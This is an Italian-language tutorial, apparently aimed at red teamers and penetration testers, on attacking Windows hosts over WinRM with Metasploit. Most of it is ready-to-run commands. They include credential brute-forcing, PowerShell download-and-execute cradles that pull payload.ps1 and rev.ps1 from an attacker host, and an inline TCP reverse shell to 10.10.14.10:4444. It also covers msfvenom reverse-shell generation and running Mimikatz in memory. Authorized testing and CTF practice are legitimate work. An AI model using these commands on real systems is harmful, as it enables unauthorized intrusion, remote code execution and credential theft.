Tutorials
📌 Metasploit & WinRM – Guida avanzata all’utilizzo dei moduli specifici
Questa guida è pensata per operatori red team e penetration tester che vogliono sfruttare l’accesso WinRM in contesti reali o CTF-based, con particolare attenzione ai moduli Metasploit realmente effic
#exploitation#windows
📌 Metasploit & WinRM – Guida avanzata all’utilizzo dei moduli specifici
Questa guida è pensata per operatori red team e penetration tester che vogliono sfruttare l’accesso WinRM in contesti reali o CTF-based, con particolare attenzione ai moduli Metasploit realmente efficaci e pronti all’uso.
✅ Contesto operativo
- Hai già ottenuto un set di credenziali valide (via brute-force, Kerberoasting, LLMNR, ecc).
- Il servizio WinRM è attivo sul target.
- Hai bisogno di interagire via WinRM per eseguire comandi PowerShell, trasferire payload o pivotare.
🔧 Moduli principali Metasploit per WinRM
🔹 auxiliary/admin/winrm/winrm_command
Esegue comandi singoli su sistemi remoti via WinRM
- Scenario tipico: verifica rapida di accesso, esecuzione comandi come
whoami,ipconfig,net localgroup.
- Limitazione: esecuzione di comando singolo, non persistente.
bash
use auxiliary/admin/winrm/winrm_command
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set COMMAND "ipconfig /all"
run
🔹 auxiliary/admin/winrm/winrm_ps
Esecuzione di blocchi PowerShell, utile per payload complessi, script esterni, o attacchi fileless.
- Supporta payload come PowerView, Nishang, Mimikatz (in memoria).
- Più flessibile del modulo
winrm_command.
bash
use auxiliary/admin/winrm/winrm_ps
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set PS_COMMAND "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
run
🔹 auxiliary/scanner/winrm/winrm_login
Modulo di brute-force username/password via WinRM
- Utile per validare accessi in fase iniziale.
- Supporta wordlist multiple per
usernameepassword.
bash
use auxiliary/scanner/winrm/winrm_login
set RHOSTS 192.168.1.100
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
🔹 exploit/windows/winrm/winrm_script_exec 🧨
Modulo exploit specifico per WinRM che permette di caricare ed eseguire script PowerShell tramite WinRM con credenziali valide.
- Non è una vera "vulnerabilità", ma sfrutta accesso lecito per eseguire comandi.
- Inietta script o comandi inline direttamente in sessione remota.
- Può lanciare un payload (es. reverse shell PowerShell) in modo fileless.
#### ✅ Esempio operativo con reverse shell PowerShell:
bash
use exploit/windows/winrm/winrm_script_exec
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set COMMAND "IEX(New-Object Net.WebClient).DownloadString('http://attacker/rev.ps1')"
set TARGET 0
run
Se preferisci integrare direttamente il payload inline:
bash
set COMMAND "powershell -nop -w hidden -c \"$client = New-Object Net.Sockets.TCPClient('10.10.14.10',4444);$stream = $client.GetStream();..."🧠 Vantaggi del modulo winrm_script_exec:
- Non necessita upload di file.
- Esegue codice in memoria.
- Può essere utilizzato in combinazione con
multi/handler.
⚙️ Metodologia suggerita (pratica operativa)
1. 🔎 Enumera porte WinRM con nmap:
bash
nmap -p 5985,5986 --open -sV -Pn targetcrackmapexec winrm
- auxiliary/scanner/winrm/winrm_login
3. ⚔️ Attacca con:
- winrm_ps o winrm_script_exec per eseguire PowerShell payload
- winrm_command per singole istruzioni
4. 🛠️ Recupera shell Meterpreter con multi/handler in ascolto se usi payload custom
💡 Consigli operativi
- ✅ Puoi usare
msfvenomper generare il payload compatibile:
bash
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f psh- ✅ Oppure integrazione con Empire, Covenant o Evil-WinRM in parallelo.
- ❗ Attenzione: il modulo
winrm_script_execnon bypassa restrizioni PowerShell, verificaExecutionPolicy.